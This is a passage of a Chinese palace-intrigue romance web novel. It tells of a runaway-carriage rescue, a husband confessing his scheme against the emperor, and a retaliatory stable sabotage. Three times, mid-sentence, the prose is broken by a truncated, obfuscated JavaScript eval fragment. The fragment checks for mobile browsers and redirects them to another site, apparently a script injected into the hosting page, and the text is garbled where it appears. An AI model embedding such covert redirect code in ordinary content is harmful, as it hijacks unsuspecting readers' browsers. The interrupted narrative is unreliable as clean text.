道路两旁都有草垛,但左边只有稀疏的几堆,右边则是连起来的一片,以她们的能力,她没有信心能准确跳到左边草垛。 “记住,是右边!” 李照槿懵懵地点头。 陈灵珠大声跟车夫说了她的计划,让他见机行事。 离草垛子越来越近了,陈灵珠深吸一口气,正准备叫跳,马车的右后方忽然出现一骑一人! 陈灵珠:“……” “珠儿!”沈信挥鞭大声叫道:“我来救你!” 刚才和陈灵珠分开后,沈信下了山,却没有离开。后来他见陈灵珠上了马车,便默默地跟在后面,想送她回府。没想到她的马突然疯了,而她带来的护院也指望不上,便赶紧追了上来。 陈灵珠对沈信的骑术是有数的,知道这种情况他根本救不了她,急忙大声喊道道:“表兄,你快让开!” 再不让开,草垛子就要过去了! 沈信朝自己的马儿挥了一鞭,想赶到马车前头去,砍断车靷,让车马分离。 但发狂的马岂是那么好追的,沈信胯.下坐骑也不是千里马,他用尽全力,却始终落后几个马身。 沈信在后面,陈灵珠也不敢跳,怕撞上了表兄的马,她急了,大喊:“表兄,快让开!我们要跳车!” 沈信没听清陈灵珠说什么,他只知道,他必须救下表妹。 陈灵珠急得没法,拉着李照槿想从左边跳下去,但左边仅有的几堆草垛子早已被远远甩在身后。 她就这么眼睁睁地看着草垛子从眼前消失了。 沈信见追不上,发狠地抽了一鞭子。胯.下马儿顿时跑得更快,追到了狂马身边,沈信正要砍断车靷,谁知狂马见他在旁,顿时更加烦躁,狠狠地撅起后蹄猛踢了一下他的马,然后撒足狂奔。 沈信一个不稳,差点马上摔了下来,最后虽然稳住,但就这一会儿功夫,马车已疾驰而去。 跳草垛子的机会没了,陈灵珠欲哭无泪,不过,她记得前面有一大片水田,水田的泥土松软,跳下去或许也有一线生机。 她跟车夫大声喊话,让他想办法将马儿往水田引,车夫没有回话。 她往前面的支窗一看,哪儿还有车夫的人影? 原来车夫误以为刚才她们姑嫂已经跳车,抓紧机会从左侧跳了下去。 陈灵珠:“……” …… 李济散朝后回了工部值房,张郎中进来给他送了一张请柬,原来他的孙儿张时中了进士,授了户部主事一职,家中长辈便将婚事给他操办起来,昏礼定在九月十五,也就是半月之后。 “侍郎若得空,赏脸携尊夫人来喝一杯薄酒。” 李济收下,恭喜了张郎中,说自己到时有空会去。 张郎中笑道:“请侍郎转告尊夫人,内子对她极是感谢,还请夫人赏光。” 原来张郎中的夫人向来有些头疼的毛病,一直由一个熟识的大夫医治却久治不愈,那日偶然经过仁心医馆,听说镇国公府的世子夫人在此行医,本来还有些不以为然,以为不过是年轻的小媳妇胡闹,不想经陈灵珠针灸后,症状竟真的轻了很多,由此,张夫人才对陈灵珠刮目相看。 如今也不知陈灵珠还愿不愿意与他一起赴宴,李济暗暗叹气,但这些事情无法跟张郎中说,便道好,张郎中却踯躅不去,似乎还有话说。 李济让他有话不妨直言,张郎中这才道:“下官冒昧,但内子还想请侍郎夫人为她医治头痛,不知可否?” 张夫人的头疼还没治好,陈灵珠就不再去医馆了,医馆中虽还有医术高明的楚大夫和俞大夫,但张夫人执拗得很,认准了陈灵珠,就不愿让其他人接手。 苦劝之下无果,张郎中无奈,只好借着送请柬的功夫,先来探一下李济的口风。 能为他人治病,陈灵珠只会求之不得,李济不必问她,也可以答应下来。 张郎中道:“实在过意不去,但内子说信不过其他大夫,下官只好厚着老脸来劳烦侍郎夫人了。” 他轻轻摇着头,似乎有些为妻子的任性赧然,毕竟陈灵珠如今已不做大夫,而李济虽然年轻,却是他的上官,请上官之妻为自己的老妻治病,其实是不太合适的。 但一个年近花甲的人还愿意纵容妻子的任性,似乎也不让人讨厌,甚至还有些难得。 李济笑了,道无妨,“内子想必乐意之至。” 张郎中道:“那就好,那就好,下官回去就让贱内下拜帖。” 又道:“见笑得很,下官这老妻,实是让下官宠溺太过。” 张郎中与张夫人的恩爱是工部出了名的,李济也有所耳闻,笑道:“夫妻恩爱,旁人羡慕还来不及,怎会嘲笑。” 譬如他此时就很羡慕张郎中。 张郎中笑着拱手退下:“多谢侍郎成全。” 李济望着他的背影,心里微微一动。 陈灵珠今日跟李照槿一起上香去了,虽说他昨日特意叮嘱母亲给她们多安排了几个人,母亲也答应了,说她会安排妥当,但南光寺偏僻,两个小姑娘又手无缚鸡之力…… 不如他去接他们,顺便告诉她张夫人请她治病一事,说不定她一高兴,消气了也不一定。正想着,仆役进来说有位姓楚的大夫求见。 原来工部有位推官晕倒,请的恰是楚大夫。将人救醒之后,楚大夫得知李济在这里,便过来了。 两人说着话,楚大夫提出给李济把个平安脉。 仔细探了脉,楚大夫面露微笑道:“世子脉搏强劲,身体已有明显好转。” 自己的命是楚大夫救回来的,李济心中感激,便客气道:“全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877749|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠老大夫医术精湛。” 被病人肯定,楚大夫难免得意,但客气几句还是要的,便谦虚道:“不敢当,老夫是大夫,做了分内之事罢了。” 说到这里,他想起李济昏迷之时陈灵珠对他的照顾,觉得功劳也不能全被自己得了,便道:“说起来,世子能醒过来,固然是世子洪福齐天、老夫略尽绵薄之力,但珠儿的功劳,也不可抹灭。” 李济听太夫人说过陈灵珠在他昏迷时照顾他,当时他以为这就是一句言过其实的夸赞之语,就像她之前站在一旁动口不动手的那种照顾,没想到据楚大夫说来,似乎还另有隐情。 他问楚大夫陈灵珠是怎么做的。 楚大夫略惊讶:“世子竟不知?珠儿在世子昏迷之时,不仅尽心照顾,还想了很多别出心裁的办法来让世子苏醒。不瞒世子说,珠儿的一些奇思妙想,就是老夫都自愧弗如。” 他便把陈灵珠如何给李济按摩,如何用香味、臭味、妙音、噪音连番尝试,又如何用心学习把脉、换药,把陈灵珠描绘成一个不畏艰难、乐观向上、为了丈夫苏醒愿意奉献一切的伟大女子,就是陈灵珠本人,听了这番夸大其词的誉美之词也要汗颜。 楚大夫还道:“珠儿小小年纪,心性坚韧,迎难而上,实在让老夫佩服。老夫活了几十年,也算见过些世面,但逆境中还能如此心境的人少之又少。不瞒世子说,老夫早就动了收徒之心,只因她是个女子,又是镇国公府的世子夫人,老夫不敢多问。没想到她竟主动拜师,可见我们师徒始终有缘!” 楚大夫行医半生,对自己的医术颇为自得,但只收了青儿一个徒儿,心里多少有些遗憾。后来见了陈灵珠,发现她细心、大胆,聪慧、耐心,最重要的是心怀仁慈,对病人怀着父母之心,心里对陈灵珠颇为欣赏,但医者地位不高,陈灵珠作为本朝最煊赫的镇国公府的世子夫人,真正的高官之妻,他料定她绝无可能跟他做一个区区大夫,所以尽管心中极爱才,却也不会真的去开口。 没想到峰回路转,陈灵珠最后还是成了他的徒弟。 李济听了楚大夫的话,一时呆住了。 他没想到,她曾为他做了这些。 他曾以为,他对她所做的一切都是他宽宏大量地在包容她,但原来,真正胸襟宽广的人,是她。 是她一直在宽容他这个忘恩负义的人,从来没有在他的面前提过一句自己的辛劳。 可是连命都是她救回来的自己,却防备着她,连对她的好也不够纯粹。 可笑的是,自己明知道问题所在,却掩耳盗铃,不肯直接面对,只试图用那些不入流的手段去哄骗她。 但她何曾需要他哄,她年纪虽小,却已经是他堂堂正正的妻。作为一个风险共担的妻子,她难道连知道那些事的资格也没有? 他忽地站了起来,楚大夫叫他吓了一跳,“世子?” 察觉到自己的失态,他拱手道:“老大夫,我得出去一趟,失礼了。” 楚大夫见他面上隐有激动之色,忙道:“世子自便,老夫这就告辞了。” 楚大夫刚迈出门槛,刘尚书却背着手踱了过来。 刘尚书年事已高,身体经常抱恙,等闲见不到人,难得今日散朝后留了下来。 “济之,城墙修补已了,该准备明年的黄河疏浚了,你有什么看法?”刘尚书不慌不忙,拉着他回到案前坐下,再坐到他的对侧。 黄河疏浚是件大事,关乎万民的福祉,李济只好耐住性子,与刘尚书说自己的想法。 刘尚书平日里病殃殃的,今日精神却好,叫仆役给自己上了一盏茶,笑呵呵地与他详谈。 这一谈,便是两个时辰。 好不容易送走了刘尚书,李济一跃而起,一边叫仆役牵马,一边就要出门。 这时,郑郎中抱了满怀的文书进来他的值房道:“李大人,这些——” “待我回来再说!” 这么说着,他如风一般冲出值房,留下一个背影。 郑郎中嘀咕:“什么事急成这样。” 65. 第 65 章 李济快步从值房奔出,接过仆役手里的缰绳,一跃而上马背,便朝着南光寺疾驰而去。 胯.下的坐骑似也感受到他的急切,撒开四蹄,带着他穿过街巷、城门,官道,一路朝南光寺狂奔。 疾驰到半路,前面远远来了一辆马车。 那马车跑得飞快,且东摇西晃,看上去似乎有些异常。 离得近了些,他看见,该坐着车夫的位置上竟然没有车夫。 再定睛一看,是镇国公府的马车! 马车从他面前呼啸而过,隐约能听到陈灵珠和李照槿惊恐的尖叫声,让他全身的血瞬间都冲到了头顶。 她们二人就在这失控的马车内! 来不及多想,他手与脚同时动作,让坐骑像风一样追了上去。 追狂马不是易事,好在他的坐骑离弦颇为神骏,在战场上与他共同作战多次,极是知他心意,猛追了一阵,到得车辕之旁,与狂马并行。 他身上带有利剑,若是无人在车厢内,他完全可以将马杀死,然而在这样的疾行之下,马儿突然倒下,车厢定然倾覆。 他略略思索,将离弦的缰绳取下,一个腾跃,从离弦的背上跳到了马车的车辕之上。 坐稳后,他半松半紧地拉了几次缰绳,试图让马儿慢下来,然而这马似乎已是完全失了神志,只知一个劲儿地往前冲。 前方就是一段陡坡,若是还不能停下,马车只怕就要翻了。 再试了两次,他拿起刚才从离弦身上取下的缰绳,打了两个结,做成一个简单的套马索,将套马索扔向马儿头部,堪堪套在其两耳中间,扼紧它的喉咙,突然一拉! 马儿吃痛,愤怒地嘶鸣了一声,猛甩脖子想挣脱套马索。 李济手一松,马儿以为解脱,正要继续狂奔,李济却又忽然用力一拉! 如此再三,愤怒扬起前蹄的狂马已是无法前行。 吴骏等赶上来,将马制服。 李济从车辕跳下,大步流星地走到车厢后面,猛地拉开车门。 车厢里的姑嫂二人东倒西歪,鬓发凌乱,面色苍白。 “二哥!”李照槿死里逃生,见到李济不禁喜极而泣。 她转头看陈灵珠,喜道:“嫂嫂,我们没事了!” 能活下来实在是幸运,陈灵珠想对她笑,胃里却翻江倒海,忍不住吐出了几口酸水。 刚才她虽也害怕,却不能不硬撑,经过方才的惊心动魄、一直想办法求生的高度紧张,她实在是没力气了,见此时已安全,便闭了眼,靠在车壁上。 李济单脚跨上车厢,将她从车厢深处抱出来,双臂紧紧地环抱着她。 差一点,他就失去她了。 “别怕,没事了。”他放松了一下发紧的喉咙,轻轻拍着她的背安抚道。 他不敢想象,若他来迟一步,会发生什么。 他的心砰砰跳得极快,抱着她的手臂不自觉用力。 见二哥抱紧二嫂,李照槿将头转了过去,闭上眼。 第一次,她有些怀疑平安符是否有用了。 陈灵珠闭眼休息了一会儿,感觉恢复了一点儿力气,便要推开李济。 李济却不肯放开,直到自己的心慢慢平静了下来,才松开手臂,问马为何会发狂。 见陈灵珠没说话,李照槿忙开口将事情说了一遍。 李济听了,脸上浮上怒色,咬紧了后槽牙。 这个情况,必是有人做手脚无疑了。 这人是谁,不必查,他也能猜得到。 将陈灵珠扶到路旁坐下休息了一阵,婆子丫鬟坐的几辆马车赶了上来。 紫苏坐的马车最前,她跳下马车,几步冲到陈灵珠面前,猛地抱住陈灵珠的手臂,哭着道:“少夫人,吓死我了!您没事就太好了!” 她们跟在陈灵珠和李照槿坐的马车的后面,眼看得她们的马发狂,却怎么也追不上。 这一路上,她已经急哭了好几回了。 陈灵珠已经缓了过来,给她擦去眼泪,笑道:“傻紫苏,哭什么,我这不是好好的吗。” 紫苏抽噎道:“以后我要跟少夫人坐一驾马车,就算死,我也要跟少夫人一起。”说完想起此言不祥,她自己呸呸了两声。 陈灵珠拍了她一下,笑道:“紫苏姐姐怎么又犯傻了!” 紫苏一边呸,一边破涕为笑。 这时,有另一个追上来的婆子说,她们捡到了一个年轻的公子,自称是少夫人的表兄。紫苏啊了一声,“路边那个竟是沈家表少爷?” 原来,沈信的马刚才被狂马踢了一脚,又被沈信极力抽.打,狂躁了起来,沈信一时不慎,竟从马上摔了下来。 紫苏刚才只顾着追赶陈灵珠,什么也顾不得了,所以虽是看到路旁有一个人,却没有停留,只顾极力策马狂奔。 沈信身上有淤伤、擦伤,还有一条腿不能动了。 他脸如金纸,见了陈灵珠,勉强撑出一个笑容,“珠儿,你没事就好了。” 陈灵珠有些过意不去,表兄一个文弱书生,若非为了她,他不会骑这样快的马。 如今把腿都摔伤了,若是留下病根,她的罪过就大了。 她上前想帮表兄看腿伤,沈信却躲了躲,不愿让她看。他甚至挣扎着想要坐起,因为他不愿在李济面前失了体面,虽然此刻,他已经没有什么体面可言。 从前,虽然他家世寒微,可他并不觉得他比不过李济,因为读书人的傲气,也因为他自认对陈灵珠的爱护无人能及。 可是今日,他却忍不住有些自卑起来。 不是因为他青衣布衫,而李济身着紫色官服。这些东西,并不能让他自卑。 可是李济能在危急之时救下陈灵珠,而他非但不能,还从马上摔了下来。 此刻李济高高在上地睥睨着他,而他,仰躺在车厢里,像一只半干的咸鱼。 李济甚至没有阻止陈灵珠给他看伤,即使看的是他这个情敌的伤。 他抿心自问,即便是自己,也未必能做到如此大度。 陈灵珠见沈信要起来,忙道:“三表兄!你就别动了,再伤着可怎么好!” 被沈信以为大度的李济此时是不敢有半分意见的,就算有也不敢表露出来,他道:“沈公子还是莫动,若因此伤更重,就是我和拙荆的罪过了。” 陈灵珠淡淡瞥他一眼,扭开了脸。 听得“拙荆”二字,沈信慢慢地停了下来。 暗自低头无言苦笑了一下,他朝李济拱拱手,勉强算是施了一礼,道:“让世子见笑了。” 李济道:“沈公子言重了,沈公子设法营救拙荆,在下感激不尽。” 听了这话,沈信脸上的笑容比苦瓜还苦,但他总算不再挣扎。 沈信伤得不轻,但不幸中的万幸,骨头没有断。 陈灵珠如释重负,暗暗吁出一口气。 若断了骨头,愈合良好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882234|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还好,若跛了一足,仕途就此断送,这对表兄自己,对姑母,都不啻于灭顶之灾。 她无法想象,若这样的事情当真发生,表兄会如何,姑母会如何,她自己,又会内疚成如何。 李济得知沈信无大事,心里也是一宽。 他虽然不在乎沈信,但沈信却是因她而伤,若沈信因此事有个三长两短,无论如何,她一定会难过的。 他不愿她难过,更不愿看到她因为此事、此人而内疚、伤神。 既然沈信无事,他便安排人送沈信回去,又让人去请大夫上沈府给沈信看伤。 他对沈信的安排着实周到而妥帖,兼之态度谦和,尽显大将风度。 偷偷看了一眼陈灵珠的脸色,他知道,自己这样做,再正确不过。 送走了沈信,他把车夫和护院、婆子都叫上前来——车夫已被其他的婆子捡了上来,护院婆子随后也都赶到了。 世子夫人和四姑娘还在马车上,自己就先跳了车,车夫知自己犯下大错,怕主人怪罪,战战兢兢道:“世子,小人并非有意弃车而去,当时少夫人跟小人说要跳到路边的草垛上,小人以为少夫人和四姑娘已经跳下去了,这才自己跳车逃生的。求世子看在小人多年来勤勤恳恳的份上,给小人一次机会。” 这是个误会,陈灵珠知道不能怪他,便开口,说这件事不是他的错。 有陈灵珠作证,李济自然相信,但问题显然并不在此:“马离开镇国公府后,可曾吃喝过?若有,草料和水,从何处得来?” 车夫努力回忆,他到了南光寺后,便找了草料和水给他看顾的马吃喝,后来见无事,便在马厩旁的树荫下打盹儿。 迷迷糊糊间,倒是看到有一个僧人进出马厩,他一时犯懒,也没多想,就没起来照看,如今想来,岂不正是那僧人作怪? 想到这里,他顿时汗如浆出,将事情说了一遍,又叩头求饶不止。 李济让他回镇国公府自行领罚,又问护院、婆子可曾看到、听到了什么。 护院婆子们面面相觑,想了一会儿,忽然一个婆子道:“那个和尚!送姜枣茶的和尚!” 这个恍然大悟的人正是陈婆子,她将事情说了一遍,“当时老奴怕有古怪,所以拦住人不敢让喝他的姜枣茶。” 当时除了国公夫人的吩咐,她也隐隐觉得不对,今日虽然凉快,但哪有寺庙九月就派姜枣茶的。 事情至此已经明了,下仆们有功的领赏,有错的领罚。李济让吴骏立即领人前去细查、追凶,他自己则护送陈灵珠与李照槿回府。 李照槿主动说自己身体不适,需要丫鬟照料,陈灵珠便与李济同坐了一车。 马车辘辘前行,车厢里安静了下来。 他低声问她:“还生我的气?” “不敢。”她道,垂下眼眸并不看他。 他顿了顿,道:“珠儿,我从小就知道,我作为父亲和母亲的长子,镇国公世子,从来都不能只顾自己,更不能将个人的情感凌驾于阖府利益之上。” “我虽相信你,却不敢冒一丝的风险,轻易对你和盘托出。” 陈灵珠垂着眼没动。 “但我曾说过,你嫁给我,便是镇国公府的人,而我作为你的丈夫,理应对你坦诚,却将重要的事情隐瞒于你,甚至在你主动问及时避而不答,这一点,无论是何缘由,都不能掩饰我的过错。” “是我做得不好,伤了你的心。是我错了。” 66. 第 66 章 陈灵珠抬头看了他一眼,又垂下眼眸。 “你猜得没有错,要杀我的人,便是你想的那个人。” “他为我赐婚,借此迷惑、麻痹我,接着安排人在我回京的途中刺杀我。刺杀不成,他心中忌惮更甚,所以一边对镇国公府大示恩宠,一边又安排心腹如武安侯、你父亲等人弹劾我,甚至不惜制造冤案泼镇国公府脏水,挑拨镇国公府与忠勇侯府的关系,你做了大夫,无意中坏了他的事,所以他看不过眼,借皇后之口,断了你的路。” “珠儿,我的处境确实已经岌岌可危。他封我为金吾卫大将军、工部侍郎,明面上是让我留在京城养伤,得享高官厚禄,实际上不过为了架空我,削弱我对军队的影响。” 他顿了顿,继续道:“你说得很对,我并不打算坐以待毙。所以我……” 他拉起她的手,以手为笔,将他的计划告诉了她。 陈灵珠惊讶地望着他,手也忘了抽出来。 他道:“我李济可以马革裹尸,却不愿意死在这样的阴谋诡计之下。” 将她的手放好,他道:“珠儿,你或许不信,但我之所以不告诉你这些,除为了镇国公府的安全考虑之外,也是为了你。” “我不愿你知道你的父亲这样对你,也不想你知道这些事情后惶恐、担忧。” “我喜欢看你笑,喜欢那个笑嘻嘻的小珠儿。” 他笑了笑,“我知道你这么聪明,迟早会看出来的,但我就是想拖延一段时间,因为我怕你知道了,会与我生分。” “就像现在这样。” “还有,镇国公府如同站在悬崖之上,一不小心所有人都会粉身碎骨。我们都别无选择,可你不一样,你若什么都不知道,以后或许还有退路。” 陈灵珠浅浅地牵了一下嘴角,他是说假如他事败,她可以选择向皇帝投诚,活着,却终身背负害死夫家全家的罪恶、内疚与指责吗? 她哪里还有什么退路呢。从她的父亲决定用她替嫁的那一刻起,她的身前和身后,就都是悬崖了。 她逼回眼泪,定定地看了他一会儿,然后轻声问他:“你告诉我,端午时你陪我归宁,是为了什么?” 当时她没反应过来,后面细想,李济为何要大张旗鼓地给陈家送节礼?就算是给她做面子,就算要展现镇国公府的气量,也没有必要如此张扬其事。 如果她猜得没错,李济这一出是个离间计。他是为了告诉皇帝,她的父亲陈进与他始终是翁婿,即使发生了弹劾那件事,他也心无芥蒂,两家的关系依然密不可分。 如此,她的父亲就会受到皇帝的猜忌,失了皇帝的信任,而与此同时,皇帝也失去了一个有力的臂膀。 “我陪你归宁,确是利用了你。” “我利用你的归宁,制造你父亲与我翁婿相得的假象,以此试探那个人的态度。如果他对我没有忌惮之心,如果他给你我赐婚真的是为了李陈两家化干戈为玉帛,那我不介意你父亲的弹劾,愿意与你父亲来往,他应该高兴,应该顺势恢复你父亲的官职,而不是因为此事更加怀疑和疏远你的父亲。珠儿,我不能否认,我做此事的目的不单纯,但我必须让你父亲退出这个战局,才不会因为他而伤了你。” 陈进作为陈灵珠的父亲,在明知皇帝要铲除镇国公府的情况下仍逼迫陈灵珠嫁给他,必定是伤透了陈灵珠的心。 但不管她如何伤心、怨恨,他知道,一个女儿,不会希望自己的丈夫杀了自己的父亲。 而他与皇帝如今已是你死我活,若陈进还在皇帝身边出谋献策,他不敢保证,他不会除掉陈进。 陈进可以死,但不能死在他的手上。 一旦他这么做,此事必将成为陈灵珠心里愈合不了的伤疤。 他不愿他的小珠儿有这样一个永远碰不得的、因他而来的伤疤。 陈灵珠愣了一下,明白了他的意思。 她半信半疑,“你把这一切都告诉我,就不怕我去宫中告密吗?” 他看着她道:“我知道你不会。” 语气虽轻,却是斩钉截铁。 他凭什么这么肯定?就是她自己,也还没想清楚自己接下来会怎么做。还是说,他是在以退为进,再次以此拉拢她? 她定定地看着李济,李济也眼睛不眨地看着她。 “珠儿,你不会。”他再一次肯定道。 …… 沈信回到沈家时,她母亲已派人去寻了他一阵子了,见他躺着回来,大吃一惊,忙扑过去,问发生了何事。 送人回来的镇国公府下人只说他摔伤了腿,把人送到安顿好就回去了。 沈夫人急道:“信儿,究竟发生了何事?你怎么会这个样子?怎么会是镇国公府的人送你回来?” 沈信不想多说,只道:“娘,我无事,您不必担心。” 他这个样子哪里像是无事,沈夫人哭道:“你这孩子,是要急死娘吗?你到底去哪儿了,怎么会弄成这样?你看看你,摔得浑身是伤,腿还扭伤了,你要是有个三长两短,娘也不用活了……” 沈夫人泪如雨下,她虽不知到底发生了何事,但沈信出去了一天,又是被镇国公府送回来的,想来跟陈灵珠脱不了关系。 “你是不是去找珠儿才弄成了这样?” “是不是镇国公府把你打成这样的?” 沈夫人哭着,越想越恨。 她可怜的儿子一心想着春闱金榜题名之后洞房花烛。 原本她已经跟杜氏说过,说等陈灵珠及笄,就把亲事定了,等沈信中了进士授了官,就让两个孩子成亲。 杜氏当时虽没明说,分明也是应许了的,没想到一转眼,连招呼都没打,就把陈灵珠嫁去了镇国公府! 陈氏知道弟弟、弟媳疼爱大侄女,必定是舍不得陈灵瑛守寡,所以才拿陈灵珠替代,但陈灵珠是他们沈家定好的人! 自陈灵珠出嫁以后,她一向勤学自律的儿子像变了个人,以酒浇愁了好长一段时间,好不容易不再喝了,重新捡起了书本,中了进士,她以为一切都过去了,结果现在,她的儿子连命都差点搭了进去! 若说她那侄女是祸水,侄女的那对父母,则更是祸水之源! 她这一生就是被她的嫡母——陈进的亲娘所害才这样悲苦,亏她不计前嫌,仍然与这弟弟弟媳来往,结果他们倒好,害了她还不够,还要来害她的儿子! 若她的儿子有什么三长两短,她就算死也不能放过他们! 沈信见他母亲说出镇国公府打伤他这样的话,忙道:“娘,不是珠儿害了我,是我差点害了珠儿。” 沈夫人:“……” 怕母亲误会陈灵珠,他把事情说了一遍。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885457|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他母亲看来,事情的本质并没有因此而变得有什么不同。 所谓我不杀伯仁,伯仁却因我而死,陈灵珠是没主动害沈信,可若不是因为她,她好端端的儿子怎会变成如此。 她怨怪陈灵珠,可是对着儿子,她只能压下心中怒火,柔声劝道:“信儿,娘知道你喜欢珠儿,可是她已经嫁给了李济,你再怎么放不下,也改变不了这个事实。眼下莫说我们斗不过镇国公府,你斗不过李济,就算斗得过,难道你甘心要这么一个已为人妻的女子?” 沈夫人本来想用的词是残花败柳,但到底顾及儿子的感受,及时改了措辞。 她继续道:“你当下要做的,便是振作起来,做好你的秘书省校书郎,以后才能做大官,才能让你那狗眼看人低的舅父舅母后悔!你做了大官,什么如花美眷没有?到时候,咱们娶一个比陈灵珠好一千倍、一万倍的,让他们看看,我们也是……” 母亲说的话不太好听,沈信母亲别说了,思绪却渐渐飘远。 母亲说他斗不过李济,这话并没有什么错。 他确实是斗不过李济的,以前是家世、功名,如今看来,连他曾以为的无人能及的心意,也未必比得上了。 今日他看得清楚,李济对陈灵珠的爱护,并不逊色于他。 而陈灵珠对李济如何虽然未知,可是她今日说的话说明,她不想回头了。 沈信闭了眼。 他或许,真的要失去那个曾经与他心意相通、只属于他的珠儿了。 …… 陈灵珠回到镇国公府,被太夫人一把捞进怀里。 “珠儿,槿儿,吓坏了罢?” 她抱着陈灵珠,将李照槿也拉到怀里,指示李济道:“济儿,定要把背后那人找出来,我倒要看看,谁如此心狠手辣,用如此手段对付两个手无寸铁的小姑娘!” 李济应是,“祖母放心,孙儿必会找到真凶。” 太夫人点了点头,又问细节。 二人将过程细细说了,李照槿说着说着又要流泪,国公夫人上前抱了抱她,将她扶到一旁。 李照芙也到二人身边劝慰。 见陈灵珠二人精神不济,李济道:“祖母,让她们先回去休息罢。” 太夫人这才放开陈灵珠,让好生送她们姑嫂二人回自己的院子。 李济便陪着陈灵珠,一路慢慢走回梅林上筑。 她一直没有作声,李济也没有说话,他知道,她需要时间。 回到梅林上筑,奶娘又抱住陈灵珠哭了一场。 陈灵珠担心奶娘哭多了伤身,笑道:“嬷嬷,我真的没事,那马儿才跑了几步就被世子拦下来了,吓都还没吓着我呢。” 为了佐证自己的话,她笑着灵活地转了两圈。 然而奶娘深知她的脾性,如何肯信,但也知道她担心自己,忙止了泪,准备了火盆、柚子叶和浴汤给她去霉运去了。 陈灵珠按着姜嬷嬷的意思跨了火盆,泡过柚子叶汤,勉强吞了几口饭,便躺到了床上。 虽然身体疲惫,但因心中有事的缘故,她辗转反侧地睡不着,将事情翻来覆去地想。 翻到半夜,因为担心她而坚持守夜的茯苓知她还没睡着,低声道:“少夫人,快睡一会儿罢,再不睡,天就要亮了。” 她抬头一望,这才惊觉天色已经发白。 67. 第 67 章 这一日天刚蒙蒙亮,武安侯府就发生了一件怪事。 侯府马厩内拴着的的二十几匹马全部狂性大发,挣脱缰绳,冲出马厩,在武安侯府内横冲直撞,乱踩乱踢。 在外与妓子鬼混一夜,清晨顶着肿胀双眼回府的武安侯次子周延迎头撞上了一匹狂怒的马,被踩断了一条腿;同样喝得醉醺醺、清晨才回的武安侯长子周作被马踢了一脚,一屁股栽进了水沟里,最后马儿从他脸上飞跃而过,吓得他肝胆俱裂,差点尿了裤子。至于武安侯本人,则被逼上了房梁,又从房梁上掉了下来。虽然没有断手断脚,但也摔得鼻青脸肿,狼狈不堪。 女眷也好不到哪儿去,周凝萱醒来正要梳洗,忽然一匹马冲了进来,她还来不及尖叫,那马便到了面前,拿头乱顶乱撞,四只马蹄不停地乱踢,将周凝萱吓得魂飞魄散,连滚带爬躲到床底下避难,不想那疯马仍然穷追不舍,疯狂用前蹄踢床板,周凝萱躲在最角落,又哭又叫,眼泪鼻涕糊了一脸,仍然被踢得吐出了几口老血还不算。 武安侯夫人等女眷则在躲避的过程中摔得鼻塌嘴歪,后院里尖叫声、哀嚎声一片。 最后这些马虽然被制服,但整个武安侯府已经被糟蹋得不成样子了。武安侯老夫人虽然侥幸逃过一劫,但看到这样的满目狼藉,气急攻心,当场便晕了过去。 武安侯怒极,心头更是滴血,安顿好武安侯府众人后,不顾屁股的酸疼,一瘸一拐地进宫告状去了。 不必查他也能肯定,这件事就是李济做的,这是他的报复! 武安侯怒气冲冲地进了宫,见了皇帝,“啪”地一声跪倒在地,痛哭流涕道:“陛下,求陛下为老臣做主!” 皇帝见他额头坟起老高,鼻青脸肿,裂开的嘴角溢出了数道血,也是吓了一跳。 武安侯不待皇帝问他,便哭诉道:“陛下,那李济欺人太甚!老臣被他害得家也毁了,家中老母、妻儿,个个身受重伤!求陛下为老臣做主啊!” 他一把鼻涕一把泪地将家中惨状细说了一遍,然后伏在地上大哭,“陛下,老臣可怜哪!”那般老泪纵横,不知情的谁不为他掬一把同情泪。 但皇帝的反应有些出乎他的意料。皇帝问:“这么说,昨日陈氏惊了马,是你干的?” 武安侯哭道:“陛下,小女日前是与那陈氏因琐事有过两句龃龉,但无论老臣还是臣的家小,个个与人为善,如何会去害人。那李济不分青红皂白,便将惊马的账算到小女头上,以致老臣家中今日遭此横祸。陛下,那李济——” “谁让你动她的?” 武安侯还没哭诉完,忽然听到皇帝冷冷质问。 他愣了愣,一时反应不过来皇帝为何发怒。陈氏是安插在镇国公府的棋子不错,但到目前为止,她非但没有为陛下分忧,反而一再替镇国公府办事,她早就该受点教训了。怎么陛下竟为这样一个人质问他。 对了,那陈氏毕竟是陛下的表妹,也许是因这一层也说不定。 他忙道:“陛下,老臣没有,这是李济给老臣泼的脏水,他是在借机报复,老臣冤枉啊!” “冤枉?周简,你莫不是把朕当傻子?” 武安侯被那句“傻子”吓得一激灵,慌忙伏下头道:“老臣不敢!” “不敢?”皇帝冷哼一声,“我看你敢得很!马发了狂是什么后果,你不知道?朕告诉你,她若是少了一根汗毛,朕要你颈上的人头!” 